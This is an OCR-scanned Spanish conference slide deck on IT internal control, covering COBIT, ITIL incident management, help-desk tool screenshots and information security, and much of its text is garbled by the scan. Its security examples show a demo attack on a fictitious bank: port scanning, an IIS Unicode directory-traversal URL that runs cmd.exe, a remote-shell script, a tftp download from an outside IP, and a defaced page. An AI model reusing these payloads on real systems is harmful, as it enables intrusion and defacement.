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Vision
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Recursos y capacidades
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FACTORES CRITICOS DE
EXITO DE LA INDIUSTRIA

RECURSOS

TANGIBLES INTANGIBLES
Financieros Interno Destrezas
Fisicos Externo Conocimiento
Relacional Cultura
Procesos
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Requerimientos de SLA Servicio de
niveles de servicio Tl
1 |

Requerimientos OLA Sistemas de
operacionales TI

Requerimientos
del proceso p

Procesos de Tl

A 4
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Reclamos Reportes
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Gestién de

niveles de
Plan de servicio
| disponibilidad
Criterios de disefio
| Objetivos
Reportes
| Reportes de

Gestion de
capacidad

/

SLAs, OLAs
Catalogo de servicios

Requerimientos Reportes de servicios
| auditoria Objetivos Reportes de excepciones
\/- Plan de capacidad Reportes de auditoria
| Objetivos i \/-
4 Y
| Repor.tes de Gestion
capacidad ) .
financiera para
| Reportes de
o Tl
| auditoria \ J
| \/_ Plan financiero
| Costos y cargos
| Reportes
Presupuesto y
| proyeccion Gestion de
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Alert — \/—_— —]  servicios de Tl
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Calificacion de madurez l:mm [ interno

e P e

Modelo Genérico de Madurez

0 Imexistente. Total falta de un proceso reconocible. La organizacion m siquiera ha reconocido que hay un
problema que resolver.

1 Imicial. Hay evidencia de que la organizacion ha reconocido que los problemas existen v que necesitan ser 1e
sueltos. Sin embargo, no hay procesos estandarizados pero en cambio hay métodos ad hoc que tenden a ser
aplicados en forma individual o caso por caso. El método general de la administracion es desorganizado.

Repetible. Los procesos se han desarrollado hasta el punto en que diferentes personas siguen procedinuientos
sitmlares emprendiendo la misma tarea. No hay capacitacion o comunicacion formal de procedimientos
estandar v la responsabilidad se deja a la persona. Hay un alto grado de confianza en los conocinmuentos de
las personas y por lo tanto es probable que haya errores.

[

3 Definida. Los procedimuentos han sido estandarizados v documentados, v comunicados a traves de
capacitacion. Sin embargo se ha dejado en manos de la persona el seguinuento de estos procesos, v es
improbable que se detecten desviaciones. Los procedimientos muismos no son sofisticados sino que son la
formalizacion de las practicas existentes.

4 Admimnistrada. Es posible momtorear v medir el cumplimiento de los procedimientos v emprender accion
donde los procesos parecen no estar funcionando efectivamente. Los procesos estan bajo constante
mejoramiento v proveen buena practica. 5Se usan la automatizacion v las herramientas en una forma limitada
o fragmentada.

Optimizada. Los procesos han sido refinados hasta un nivel de la mejor practica, basados en los resultados
de mejoramiento continuo v disefio de la madurez con otras orgamizaciones. 11 se usa en una forma
integrada para automatizar 1 flujo de trabajo. suministrando herramientas para mejorar la calidad v la

efectividad. haciendo que la empresa se adapte con rapidez.

th

Sl

NG



=

ﬂ FH
QL él Comité Interinstitucional de Control Interno

ITIL

“Encuentre

Internacional de

Gontr

|_‘dCId un4g

ol Interno

.f'_ i
3 Cultura del Control
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3

4 5

Gestion de incidentes

Detectar y registrar el incidente

Clasificar v soporte inicial

Iniciar una solicitud de servicio

Investigar v diagnosticar

Resolucidn v recuperacion

Cierre del incidente

Propietario del incidente, monitoreo y comunicacidn

Gestidn de problemas

|dentificacidn y registro de problemas

Clasificacidn de problemas

Investigacion v diagndstico de problemas

Gestidn de errores

Gestidn proactiva

Reportes a la gerencia

Gestion de cambios

Registro de RFC

Filtro de RFC

Aprobacion de RFC

Establecer prioridades

Programacidn del Cambio

Construccidn del cambio

Prueba del cambio

Implementacidn del cambio

Revision y cierre del RFC

Heportes a la gerencia
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Definir/administrar ANS

Administrar servicios de terceros

Administrar las operaciones

Administrar el ambiente fisico Administrar capacidad y desempefio

Administracion de datos Garantizar la continuidad del servicio

Administrar los problemas Garantizar seguridad en sistemas

Administrar la configuracién Identificar y asignar costos

Administrar la mesa de servicio y
incidentes

ducar y entrenar usuarios
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Proveer a la organizacion una herramienta que permita reportar e ingresar

los incidentes detectados y asignharles los recursos de soporte adecuados

con el fin de resolverlos en el menor tiempo posible
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BESTION INCIDENTES Godigo: YeX = ngies gerenmaiu superires, la "movieacion da resurces sdtionales y

constante de tratamiento.
2.4 Froblema
Una causa raiz de uno o més incidentes, que ain no ha sido disgnosiicada
F ‘Fschad&.ﬂpmba:un ‘
[ 2.5 Grupes responsables de la solucién
[Fevesga por | S g
[ ‘ e especislistas que trabajan pars reschver los incidentes y solictudes de
s=nvicio que &l sopons inicial no pUsdE resoiver. Ls estrictura e los squips de
COPIA NO CONTR soporte pusde varar enire organzaciones, squiendo una estructura por nveles
{primero, segundo y tercer nive). £quipos onentados por pstsfomas 0 apicadonss. o
1.PROPBSITO Ia combinaeion de ambos
Froveer a la organizacion
incidentes detectados y asig
resolverks en &l menor 1
organizacion 12 informacién)
impastar, tzl £ ]
atancion M Activided Responsable | Normas ylo controles | Registros Soporte.
3 on, TEgelD Y SUTSaIGn
Los objetivas de I3 gestion ( 01 | Detectar & ncidente Todaos os [3 Mes3 G& SEVEKR 5 & mwer mme Lamesa de servicio puede
usuarios | punto Gnico de contacto| = m= lograr_esto si asociz &l
- Restaurar &l senic entre ks usuaios y | e incidente regartado 3 un
2 Minimizar ol impact proceso de  informatica emor  conoo y
2 hsegurar que s 1 Este punto inico de entisgando aexanp_-; de b
contacto ayuda a aseguiar ‘solucior
registrados en forma cio ayuda s sssqurar R e
- Dt ks reourses 4 que incidk Sivcion temporel pata que
i reportados y las soficitudes o chente logre estar
- Prov de servicio 5on {ratadas en operativo. En este caso se
&l nimero d inciden forma  consistenie .y debe asociar &l incidente
eficiente. reportado y e emor
conocido de tal forma que
2. DEFINICIONES Los incidentes pusden ser los _usuarios _ afectados
riados por. Tekfono, e pusdan’ ser_ iganiieados
24Incidente mai, red interna u ottos cusndo  una  soluckr
medios habiitados _por el penmancnt ate dipmbe
[ — proceso de informatica y pam deeminar b
puede causar una intemupoid 0Z | Realzar auoayuda ToG0s o5 | ConsUiE Base 08 03105 02 | tam & i eriondad de resolucian g2
usuarios | conocimiento (autoayuda) | _ = los erores conocidos
o 13
2.2Error conocido Los incidentes de aha| e T | TTvesgar Y| Gropos o8 | ST S SoponE WA T rems =
prionidsd o requieren g0 diagnasticar soportede | resolvio el incidents. se| o= v
Un incidente o un problems filtraos por un proceso de Informdtica | debe pasar dste 3 la| T
hemporalaunaahematwa Pt autoservicio. actividad deinvestigaciony
costoibensficio, se debe ot VT [ REgeTar ST owmeEE | 16065 05| 1600565 WCHENTES | e o diagndstico. Esta s inicia
Svents, &t pemanerers o usuarios | detectados ylas soictudes | = cusndo el incidente s
permanente por un cambio. de senvicic OEBEN ST | seen asignado a un grupo de
[egistiadas para que se les soporte. pos
ueds realizar seguimiento soporte incuyen un amplo
y ssegurar que todss sean rango  de squipos
ndnizs por medio de un tecnologia de armasion
némere de caso incluyendo  persanal de
7 ¥ soporieimeial soporte y desarol, olos
01 | Clasiicar el mciente =] = d procesos Iz
de Senvicio | proceso de categorizaciny organizacion, pmeeaum
priorizscién de un incidente | e edemos y offas terceras
y &5 el que determina las pantes.
acciones siguientes a ser [T Afencion de incidentes mayores
tomadas. [T | Vaiiar calficsoon 08| Lerde | VaWiar qus &l mpacio o] mwes o
incidente mayor incidentes y | impacto potencial de un| ==
Se deben ufiizar “guiss” directores de mcﬂenme necesita una| e
pars la interaccion con el procesas ta que va mas sl
seuann szgn < 15 g e | sasummmma por os
inconveniente  reportao. procadimientos de gestion
(Las  guias se i e incidentes normales
desaoliando segin lss
recesidades) Validar_criteros para la
Tz = sopore weaT =) S calificacion del impacto
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Informacion de caso

I N2N1N2 Prablamas conexion ras -

Categoria: | 03 REDES - Subcategoria:

Seleccionar... I
|
1

Problemas conexion ras
Titulo:

Descripcion: | Deszde el dia de ayer, no se podido tener acceso por medio del RAS.|

Anexo: Browse._

r
1

ADVI

"

co ULTING



& & “Encuentro

Caso opciones Internacional de
Crear caso — Informacion de caso clllIELﬂl |Ilterllll
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__________________________________________________________________________________________________________________

_ SELECCIONE UNA CATEGORIA PARA CLASIFICAR EL INCIDENTE _

01 50FTWARE

__________________________________________________________________________________________________________________
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Crear caso — Informacion de técnico clllltl; (ll |IIt0I‘IIII

“Hacia una Cultura del Control”

_________________________________________________________________________________________

i Nivel de servicio: | | Medio ico: | [ 43252541 !

: |

: Prioridad: | | Alta - Estado: | | Abierto - :

| e
| " = o

i impacto: |Me-dm - Tipo de notificacién: |Teieﬁ:mo bt E
: i e Py [—

i

: Crear Caso | Limpiar | s
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Actualizacion de caso cmmm Lnterno
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actualizaciones:

i
i
: July 7. 2008, 4:34 pm by jorge.hurtado
! Caso creado por
R
P Aorenar actualizacién al caso: I
A
/ | Y =
i
/ | b
i -
o
Y,
o i | Agregue anexo: \ [ Examinar_
s ! ‘\ [# & Internet | Mod

S/ \

actualizaciones:

July 7, 2008, 4:24 pm by jorge.hurtado
Caso creado por jorge.hurtado

July 7, 2008, 7:22 pm by jorge.hurtado
Actualizado por jorge.hurtado

Agrego una fotografia del error.

July 7. 2008, 7:22 pm by jorge_hurtado
Archivo de anexo : Error correo - Caso O0Z.jpg ( 44.86kb )
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Cierre caso

Solucidn y cierre de un caso

Informacién de técnico

“Encuentro
Internacional se
Control Interno

“Hacia una Cultura del Control’

Nivel de servicio | | Medio -

Técnico: | | 43252541 -

Caso Prioridad: | | Alta - Caso Estado: | [ Abierto -
" Caso Tipo de
Caso Impacio: | | Medic - otificacion: | Telefono -

Informacién del usuario

Nombre de usuario: | |123456789

Email: | |No aplica

Oficina: | 108608 | BOYACA ¢

Teléfono:

Nombre completo: | 123456739 | MARIA DE LOS ANGELES SALDARRIAGAOCAMPO|PC |3

Informacién de caso

Categoria: | | 01 SOFTWARE -

| 020201 Problema impresora Ix300

Subcategoria: B
Seleccionar... I

Thulo Problema impresora [x300

Descripcidn: | [Se queda imprimiendo a un solo lade

Actualizar | [Ng se ha podide solucionar se pregrama el envio de un técnico.

Actualizar técnico -

Anexo. Browse

Fecha de solucion l_ :l_ :l—

Formato dd:mm:yyyy hh:mm (formato 24 horas) |

Tiempo invertido

Tiempo invertido:
Il 122 Tiempe utiizade? Pausa

Fecha automatica

I Winutos invertidos desde la (ttima actualizacion

Tiempe total | 1 Minuto

Actualizar caso

Exportar a archivo

co ULTING
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Agregar a Base de datos de conocimiento

Grupo de técnicos: | | Seleccione {=]

Pregunta: Iprublc—:mas en la eantena de comunicacion

Respuesta: | |problemas en la eantena de comunicacion

11/07/08, 8:44 am Por mesa.servicio
<i=Caso creado por mesa.servicio</i=

11/07/08, 8:44 am Por mesa.servicio
Estado cambiado a Cerrado

Creado Desde Caso 7

B85 {separado por comas) I

Observable por. |Tu|:1|:rs los usuarios El

Examinar...

Agregue anexo:

Agregar a <b=Base de datos de conocimiento</b= |

| iy iy M SR i e ey i
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Estadisticas Control In,tgrmll”
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| : |
b
010111213 14158017 18 1902 1 22230 Aen 2027 202 ea00 10203 0-0s0R07 0809 10 [
| Estadisticas de casng : F
Abiertos desde
Tipn Abiertos durante Cerrados durante | Abiertos en 1000708
anes DGE | | :
Resurnen total ] = 1 |= 0 i
E Pricridates ]
i Critica o | o o o ’
I I 1 H 1
LT P [ | o ]
| et L] ]
I g e w—— - 1 I |[= x ] b
™ b 4 4 iy
- | o 0 '
Estadisticas Base de datos de conocimiemo = L 13
f 15 (Mimas bisquedas isatistechas b
: mem nguma Fecha : Caso | sladisticas
| pst July 10, 2008, 518:38 pre =
; pst July 10, 2008, 5:18:28 pen =
{ | comen July 10, 2008, 5:09:07 pm [ o
E || ! Lid o inkad Estadisticas
i Juby 10, 2008, 5:07:33 pm : e PRl (POICaniie 38 tulal 4 COE0 BB ST
E L 0%
15 (miimas bum:d:js'saﬂﬁl'ch:w T ™
Pregurita | Pregunta Fecha Pragunta Por Modia |0

0%

15 (Mimas preguntas agregadas
i Estadn Estadisticas
| Pregunia | Crear fecha | Autor

Tatsll de cabed g ied 2ada s Bolade (P ercesligs 4o bodnl de e sbiaad)

p: 10 0%
15 (Mimas preguntas editadas o [ow
Pragunts Editada en | Ottirmo editor | Apierio [ox
Espemands respuiita el |

- LUaTEL )
15 Utimias preguntas leidas

Pregunta Lear fecha Leida por

Catogoria Estadisticas
|

Talal du daies pacs cadd wan Calegeds (FPoiiarlaje Bul Bilal 4o cares shindue}
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AuraFPorfal BPMS:
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" Mis Tareas

Tarass de Process: (116)

i Creae Marasje

11

| Ra| Clase Process |

2 i Puannieg

Relerendia

Tema

Fecha llegada Desde
Fecha legada Hasta

“Encuentro
Internacional de

Control Interno

”HdCId una L,' i'.L.ch ce| CC}WL'D g

AuraPortal

i |
-
i

£ tenaue de UsaweE...
# Sl Lioencs Aura...
P 05 OPORTUNIDADES...
#  Gestiin de tewesietter

# Gestidn de Hewletier,

Gestidn de Newsiether...
Gestidn de Newsietter...
Gestidn de Newsle ther
Mibeye e s ks
2.TP.15 Cr::ll ro de Control de

TEMEAES BE VINT

o

Oportunidad de Venta (OV)

Belevencis 105 7 1

Ficha e 2 00|

MCLELS

LTP Reche o Mersaje 3570
15 Aprobacidn _18
TP, 15 Centr de Control de L.

TS Informs a Pabio e Inma d.

9v17719f7?l

Vo etad

Vista de Proceso | Aceptmr Oferta | Devover a Coordnader | tizemar oV |

2009-07=17 (10:49)

[ |

Accones en s OV | Docomentos eta OV | Prepare Otesta | Cambiar Responsatie |

sustese 0V | vesusonez |

Ficha de la OV

Coneractin
pre—r)
Respormable 0%
Focka Mt
Ingrenasda Por
Crvcripin e s Dot
Clase de Sujets

Propurtans tuets
il de Suetn
Comtacts Sujets Froblemite.a St
Noturaiers Contacts - Lo

Exmerrain Supets

bervacuoncs ukestives de Supetn (e Ficks de Duents )

Probabisded fxita
Phars A sin

Fetha Prevista de Oerre

Prespeests
PROSRITES ¥ SIRVICIOS SOAICITADGS
[T

F farmeiin 7 1

DEPASTAMENTOS BNTISISADOS
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v A el S B

Cazos abiertos Casoz abiertos en las Oltimas 24 horas Cazos abiertos entre (as dltimas 24 w48 haras Casos abiertos hace mas de 48 horas

Comité Interinstitucional de Control Intermno

Casas por grupo Cazos por prioridad

Media = 2 (67 %)

Cazos porimpacto Cazos por téenico

Critico =

Mesa Usma
Aranzazu = 1 (33%)

Alto = 2 (B7%)

Jarge Hurtado Gil =
2 (B7 %)

ULTING
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Y | ¥
1a und ‘_ultura del \_ontro

Los usuarios de servicios de informacion, al momento de
tomar conocimiento directa o indirectamente acerca de una
debilidad de seguridad, son responsables de

REGISTRAR Y COMUNICAR

las mismas al Responsable de Seguridad

de la Informacion o a las Autoridades del Organismo.

-
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“Encuentro
COBIT C(Ohetlvos de Control para Informalﬁhﬁ[yiﬁlﬂllalde

Tecnologias Relacionadas) Control Interno

"Hacia una Cultura del Control’

ME1 i y evaluar el fio de T _ -
_ PO1 Definir & plan esfratégico de T1.

ME2 Monitorear y evaluar el conrol intemo PO2 Definir la arquitectura de la informacién
ME3 Garantizar cumplimiento regulatorio. PO3 D = i L
ME4 Proporcionar gobiema de Tl PO4  Definir procesos, organizacion y relaclones de T,
POS5  Administrar la inversién en TI.
POB G icar [as aspirack y la direccion de la gerencia
PO7 Administrar recursos humanas de T1.
PO8 Administrar calidad.

Ewvaluar y administrar riesgos de Tl

PO9
Cwomscoy L

Efectividad
Eficiencia
o -

Integridad
Disponibilidad
bt

Cumpl
Confiabilidad

Aplicaciones.
I Informacién
Infraestructura
Person

DS1 Definir y administrar niveles de servicio.
DS2 Administrar servicios de terceros.

Ds3 ¥

DS4 Garantizar la continuidad del servicio — Al1 Identificar soluciones automatizadas

0S5 Garantizar la seguridad de los sistemas. Al2 Adquirir y mantener el software aplicativo.
D36  Identificar y asignar costos. Al3 Adquirir y lai fura
DS7 Educar y enfrenar a [0s usuarios. Al4 Facilitar la operacion y el uso.

DSE  Administrar la mesa de servicio y los incidentes. Al5 Adquirir recursos de TI.

D39 Adminisirar la configuracion A6 Administrar cambios.

D310 Administrar los problemas AI7 Instalar y acreditar soluciones y cambios.

D511 Administrar los datos
D512 Administrar el ambiente fisico.
DS13 Administrar |as cperaciones.

ADVI [~
"3
CONRNSULTING



“Encuentro

Dominio COBIT: Entregar y dar soporte E:I:Itgﬁl&hti:lutléﬂ:;

"Hacia una Cultura del Control”

Comité Interinstitucional de Control Interno

Definir/administrar ANS

Administrar servicios de terceros

Administrar las operaciones
Administrar el ambiente fisico ' Administrar capacidad y desempefio
Administracién de datos "A\ Garantizar la continuidad del servicio

Administrar la mesa de servicio y [o

i ducar y entrenar usuarios
incidentes Y

ADVI [~
"3
CONRNSULTING
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Comité Interinstitucional de Control Interno

LA CONFIDENCIALIDAD

LA INTEGRIDAD

LA DISPONIBILIDAD

lintegridad, Confidencialidad, Dispbnibilidddo

Internacional e
Control Interno

“Hﬂr‘m LInA ':ﬁlll'l:m ﬁ?lrrv‘lr'[}i“

e Garantizar que la informacion es accesible
solo a aquellas personas autorizadas.

e Salvaguardar la exactitud y totalidad de la
informacion y los métodos de Procesamiento
y transmision.

e Garantizar que los wusuarios autorizados
tienen acceso a la informacion y a los recursos
relacionados cada vez que sea requerido.

CORSULTING



ccl “Encuentra

os nuevos modelos de negocio hacen la tateaidelonal de
administracion de riesgos mas compleja Control Interno

"Hacia una Cultura del Control”

Seguridad tipo Seguridad
Fortaleza Dinamica

ADVIS [~
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Internacional de
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Comité Interinstitucional de Control Interno

Ejemplos

J File Edit Miew Favortes Tools  Help

¢-= QNA QIS BT

J Address I@ hittp: / fvavewn. bancovirtual conn, j B

| v

Banca Perzonal Junio de 2000

Transacciones

:
BancoVirtual.com ) :
Servicio Personal

En BancoYirtual.com gueremos
llegar de una manera muy personal
a nuestros clientes, para
asegurarmos de poner a su
disposicidn la solucidn gue
reguieren.

Vinculos de Interés

mBanca Personal
mErmpresarial e Intermedia

mConozca la fecha de pago

de sus impuestos
(Retefuente, WA, Renta w

Mas informaciar...

Complementarios]l
mCluiere conocer mag
acercade laley B33 y su

Usted puede disfrutar nuestro portafolio de productos financieros: impacto del 3210007
sPreguntas frecuentes

Cuenta Activa
Con todo a su medida: Cuenta Corriente y de ahorros, Tarjeta de
Crédito Credencial, Tarjeta Débito Activa v Préstamo Persaonal

mRealice agui sus
conversiones monetarias

mCalcule el valor de sus

créditos hipotecarios
mConozea el valor de sus

Pensiones =l
|| 5 Localintranet 7
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Ejemplos

er =
——— Encuentro
Internacional de
Control Interno

"Hacia una Cu|.ua del Control’

Saf root@comdeam-IX.co.kword . kpmg.com: froot

E

X

% File Sessions Options Help
[rootEBcomdeam—1x EFDDt]<:£EEEEF W bancovirtoual .com B0
Trying 10.196.2.114...

Connected to www.bancovirtual .com (10.196.2.1147.
Escape character is '"]°
gt S

Fs1.1 501 Mot Supporte
server: Microsoft-IISS4.0
Wed, 06 Jun 2001 142 57 GMT

Content- Length 121

chtml><head><title>*Method Mot Supported<stitler< head>

<body><hl>The specified method 1s not supported< hl>< body>< h
tml:Connection closed by foreign host.
[rootBcomdeam-1x Arootld |

_

CORSULTING



CQ..... “Encuentro
Internacional de

Ejemplos — ] 0] [NtEINO
unga ‘_ultura ael \_ontrol

File Output  View BETA Options Help |
Host{s): |www.hanu:wir1ual.cnm | Scan. | Exit |
Scan Options: General Options:

% connect) _| Don Resalve « TCP Ping _| Fragmentation

w SYN Stealth _|Fast Scan A TCP&ICMP  _| Get Identd Info

~ Ping Sweep

« UDFP Port Scan _| Range of Ports: < ICKP Fing _| Resalve &ll

w«w FIM Stealth | « Dan't Ping - 05 Detection

_1 Bounce Scan: Al Use Decoyis):  _iInput File: _1 Send an Device:

Cutput from: —-5T -0 wednde hancovirual.com

Start ing N

Interesting ports on www. bancovirtual ,com (10,193 ,15,2485
{The 1538 portz zcanned but not shown below are in state: closed?

Fort State Service

20 o apen http

135/ op opEn loc-srw
139/ op opEn netbiosz—ssn
3 Lop open https

Fenote operating system gusss: Hindows HT4 ¢ Hin95 / Hin9d8

run completed -- 1 IP address 1 host up) scanned in 1
=econc

CORSULTING
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Ejemplos

“Encuentro

Internacional de

Confrol Interno

1:1is—unicode.ixt [23] 1236

Rain Forrest Puppy’s investigation of the recent Microsoft [1S remote
cormimand exacution vilncrapility which was first mentioned in a
forum post and later in ms00-078. UNICODE character translation
on foreign 1S 4.0 and 5.0 servers allows additional ways of encoding
'I"and 'V, allowing commands to be executed under the
IUSR_machine context. Homepage: http://www.wiretrip.net. By

Rain Forrest Puppyv

z:unicode.pl [23] 118

| Jnicde.pl exploits vulneraole |1S servers which allow remote
cominand evaritinn as described in iis—unicode.ixt. By Steele
S.unicodexecute2.pl [23] 0
Unicodexecute? is a simple perl s.ript to execute commands on
vumcrahle 118 servers williicode, as described in this article.
Homepaae: httn-/imnanw sensepost.com. By Roelof Temmingh
A-us—unicode—exploit.pl [23] 0

11S Unicode remote exploit - Executes commands remotely on |1S
4.uuin MT and [1S 5.0 on Winggws NT and 2000. Homepage:

|

100%

| % % a2 B 2

_ontro

ADVIS
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"Hacia una Cultura del Control”

Comité Interinstitucional de Control Interno

smsadc/. A F A /A _fwinnt/system32/cmd. exe?/c+din - Micro__ B [m] B3
Favortes  Toole  Help |
@ hittp: £ A bancovirtual comdmsaded. 2elXal. A 2c0%al. A Zc0%af. Avinnt/systern32//cmd. exe 2 o+din i? Go
/ =
Wm:y of C:ZWFrogram Filesh Common Files)systemmsado
11/24/00 1Z:15= E—
11/24/00 12:15=a <DIR> .
05/08/99 11:00p 596 adcjavas.inc
0s/08/99 11:00p 589 adevbs.inc
071200 07:20p <DIR= Docs
os/08/99 11:00p 515 HAWNDLER.REG
0s6/08/99 11:00p 5858 HAWDSAFE.REG
08/08/99 11:00p 573 HAWNDUNSF.REG
os/09/99 11:00p 315,104 msadce.dll
0s/08/99 11:00p 9,728 mwsadeer.dll
0s/09/99 11:00p 45,328 msadcf.dll
os/08/99 11:00p 4,096 M3ADCFR.DLL
0g/09/99 11:00p 133,904 M3ADCO.DLL
os/08/99 11:00p 6,144 MSADCOR.DLL
06/10/99 11:00p 45,352 msadcs.dll
os/09/99 11:00p 147,728 MIADDS.DLL
0&/08/99 11:00p 13,824 M3IADDIR.DLL
0s/08/99 11:00p 4,505 MIDAPREIR.DLL
0s/09/99 11:00p 171,792 M3DAPRST.DLL
os/09/99 11:00p 112,912 MIDAREM.DLL
os/08/99 11:00p 5,120 M3DAREME.DLL
os/09/99 11:00p 25,872 MSLFMAP.DLL
10/02/97 01:28p 19,388 readme.txt
071200 07:20p <DIR=> Samp les
24 File(s) 1,062,764 bytes
1,929,167,872 bvtes free
=
|@ Cione I_l_lﬂ Internet L
ADVI g
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WS Control”

Comité Interinstitucional de Control Interno

oA root@comdeam - 1X.cokword kpmig.com: froot/bin

g File Sessions Options Heln

E;Eﬁfﬁcumdeam -1« hinl# iisunicode,sh www, bancovirtual,con meadc

<:Shell zcript para comprobar y explotar el bug de UNICODE en IIS4/5,
\

=

Utilice doble bhackslazh como seprador de directorio,
Utilice "e <comando [parametros]:" para comandos externos,
Utilice comandos internos tal cual,

"exit" para =alir,

rezione <EMTER: para comenzar...
Probando . .5c0%af, . ... IIS en www,bancovirtual,com es Vulnerable,
Cadena UNICODE: ., %cOiaf, .

iciando linea de comandoz remota,,.

www bancovirtual,con remnotef e tftp get B3,74,24,.244 default ,asp cihinetpubu

loot. ] j
o1 ™AV
( E'D;ﬂ SLULTING




Ejemplos

Fie  Edt Tocls

Help

Comité Interinstitucional de Control Interno

DA RAEIE

Addiess [ €1 it A bancovitual com/ R

File:

Qutput

View BETA Opfions

Servicio Persona  Hosi(s): [www bancovitual.com

En BancoVirtual.com gquer Scan Options
llegar de una manera muy

anuestros clientes, para | 4 cannect) _| Dan't Regt
asequramos de ponerasu|_ supl Steaith

disposicidn la solucin que < Ping Sweep I Fast Scan

recuizren
~ UDP Port Scan | - Range of|
Mas inforr| ~ FIN Stealth
_| Bounce Scan _|Use Deco
Usted puede disfrutar nuestro portafolio de productos financ Output frorm
Cuenta Activa Start in
Con todo a su medida: Cuenta Corriente y de ahorros, Tarjc Interegtlng ports on wuw.bant
Crdito Credencial, Tarjeta Débito Activa y Préstamo Persc | 7 1e5s 0o P2r 2 B0 At et
Port. tate Service
B0/tep open http
135/tcp  open loc-sr
o 139/tce  open netbios
J 443/tcp  open https

Remote operating systen gusss

U completed - 1 IP add
zecond

=% QbLn NI E- S

Adshess 8] hitp:/4waw bancovitual.comémsade/. %t /. %ol%at. /. Ze0%ak winnt/systemd2/omd exePesdi 7] 2 Go

11/z4/00
11/z4/00
De/08/99
De/08/99
07/1z/00
De/08/99
De/08/99
De/08/99
0&/09/99
De/08/99
0&/09/99
De/08/99
0&/09/99
De/08/99
0&/10/99
0&/09/99
De/08/99
De/08/99
0&/09/99
0&/09/99
De/08/99
0&/09/99
1n/0z/97
07/1z/00

iz:
iz:
11:
11:
07
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
11:
o1i:
07

182
182
0op
0op
z0p
0op
0op
0op
0op
0op
0op
0op
0op
0op
0op
0op
0op
0op
0op
0op
0op
0op
28p
z0p

24

Directory of C:\Program Files\Cor

File(s)

% File Sassions Options Help

<DIR>

“Encuentro
Internacional de
Control Interno

"Hacia una Cultura del Control”

<DIR> [root@oondean-1x binl# iisunicods,sh www,bancovirtual,com meadc

Shell script para comprobar y explotar el bug de UNICODE en I154/5,
By DAZU & Aricl Kane
KPMG - Cubsrredsa (o) 2000

<DIR>

Utilice
Utilice
Utilice

31%tilice su imaginacion
c

e

Presione <ENTER> para come
Probanco . Zc0%af .. ... [
Cadena UNICODE: ..%cOXaf ..

doble backslash como seprador de dire
"e {comando [paranetros]?" para conan
comandos internos tal cual.
Utilice "exit" para salir.

13i|Iniciando linea de comandos remota,,,

Y

t
Have a happy hack :-)

14" |ywu,bancovirtual.con remcte> I

1

17.

112,912
5,120
25,872
19,388
<DIR>

HSDAREHN.DLL
HSDAREME.DLL
HSDFHAP.DLL
readme. txt
Samples

1,062,764 bytes
1,929,167,872 bytes free

'&] Done

1D Intemet

todo lo que

En Bancolnfernal.com nos
proponemos dejar a nuestros
clientes sin dinero, robamos

Bancolnfernal.com)

El Peor Servicio

tienen dejandolos

en la ruina total

Mas informacian.

Usted puede disfrutar nuestro portafolin de productos financieros

Con todo & su medida: Cuenta Sontiente y de Zorros, Tafjsta de

Cérdito, Tatjeta Débito Activa y Préstamo Personal

Junio de 2001
Transacciones

vinculos de Interés

wBanca Personal
wEmpresarial e Intermedia

»Conozca |a fecha de page
de sus impuesios
(Retefusntz, VA, Renta y
Complementaios)

=Quiere conocer mas
acerca de |a Ley 633 v su
impacto del 3¢10007
=Proguntas fiecuentes

=Realice agui sus

comversiones manetarias

=Calcule el valor de sus

créditos hipotecarios

wiZonozca el valor de sus

Pensiones 5

Localintranet 7

ADVI
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Comité Interinstitucional de Control Interno

J File  Edit “iew Favoritez  Tools  Help

net Explore

“Encuentro
Internacional de
Control Interno

"Hacia una Cultura del Control”

e~ D6 Qs B IE =

J Addresz I@ hitp: A bancovitual. comy

Banca Personal

El Peor Servicio

En Bancolnfernal.com nos
proponemos dejar a nuestros
clientes sin dinero, robarmos
todo lo que tienen dejandaolos
en la ruina total.

Usted puede disfrutar nuestro portafolio de productos financieros:

Can todo a su medida: Cuenta Sonriente y de Zarras, Tarjeta de
Cérdita, Tarjeta Débito Activa y Préstamo Personal

BancoInfernal.com

Junio de 2001

Transacciones

Nuevos Usuarios

Mas informacisn...

¥inculos de Interés

wBanca Personal
sEmpresarial e Intermedia

mConozca lafecha de pago

de sus impuestos
[Retefuente, VA, Renta y

Complementarios:]

wldUiere conocer mas
acerca de la Ley B33 v su
impacto del 3x10007
mPreguntas frecuentes

sRealice agui sus
COMversiones monetarias

uCalcule el valor de sus
creditos hipotecarios
wConozoa el valor de sus
Pensiones

l_l_ 2] Local intranet

1™ A

sl
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Ejemplos

“WINDOWSAE zeritoriohPaginas EjemploiComercialiTienda¥irtual com_htm - Microzoft Internet Explorer
| File Ed Help |

le-= QLG QGEI B

J Address I@ http: Ao iendavirtual com.

TiendaVirtual.com

Wigw

Favorites  Tools

Categorias

Juegos de video
Juguetes
Libros
Miami Mall
Misica
videos

1]

balsilla
Mas...

Palm IIIxe - Hgndheld

Misica

Latina Electroportétiles v {Scooter Eléctrico)
MNew Age MP3
Pop & Rock Equipos de sonido
R&B / Soul Camaras and dptica )
Mas... Teléfonos &
Més...

Mo Angel - Dido

331,500 CEEEED

esoterismo
Literatura y novela
Mifios v jovenes
Mas...

bt A
HrAhab s ANk D

Atrevete a ganar

$13,000 CEIED

Electronica

Telefono Inalam. Motorola
900MHZ -Contestador Dig

Carlos Yives-El

Books in English Computadores Libros amor de mi tierra

Computadoras Camaras digitales Actualidad y politica )
Electronica Impresaras Autnayuda y

Aprovecha el 15% de
descuento para que este
a tono en el concierto,

s25.500 ([T

Black Bomber

Una forma revolucionari:

¥ econdmica de _|—vl
1 b

|@ Done

l_ I_ Hy Computer 7

ALV

=
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erE :
?fgg"ﬁ!;dl?rg;f&ﬂ‘wmet' 9¢ Sankro) Joiemo Seguridad nc![ ;E “t ro
eguridad Peri
son vis?bles desde Prigmefa capa Jm,fn uielunal “
fisi d i .
e w10l Interno

Internet mediante
acceso a la informagion una Cultura del Control”

paginas Web, comercio
electrénicoy
comunicaciones
corporativas. Si se
rompe, la imagen, los
recursos y/o las
comunicaciones
corporativas pueden
verse comprometidas.

Perimetro

Seguridad de Red
Primera capa interna de
proteccion. Si se rompe,
es posible perder control
y disponibilidad sobre la
informacidén o que se
presenten
modificaciones no
autorizadas sobre la

Seguridad de
Aplicaciones
Protege informacion
y aplicaciones. Si se
rompe, la
informacién puede

ser alterada y/o misma.

eliminada.

Seguridad de Bases

de Datos Seguridad de Servidores y
Estaciones

Protege los
repositorios de
informacioén. Si se
rompe, la
informacién puede
ser alterada y/o
eliminada.

Protege servidores y
estaciones de trabajo,
aplicaciones e informacion. Si
se rompe, la informacién
puede ser alterada y/o
eliminad

ADVI [~
(=1
CONRNSULTING
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Incidentes clave Internacional de
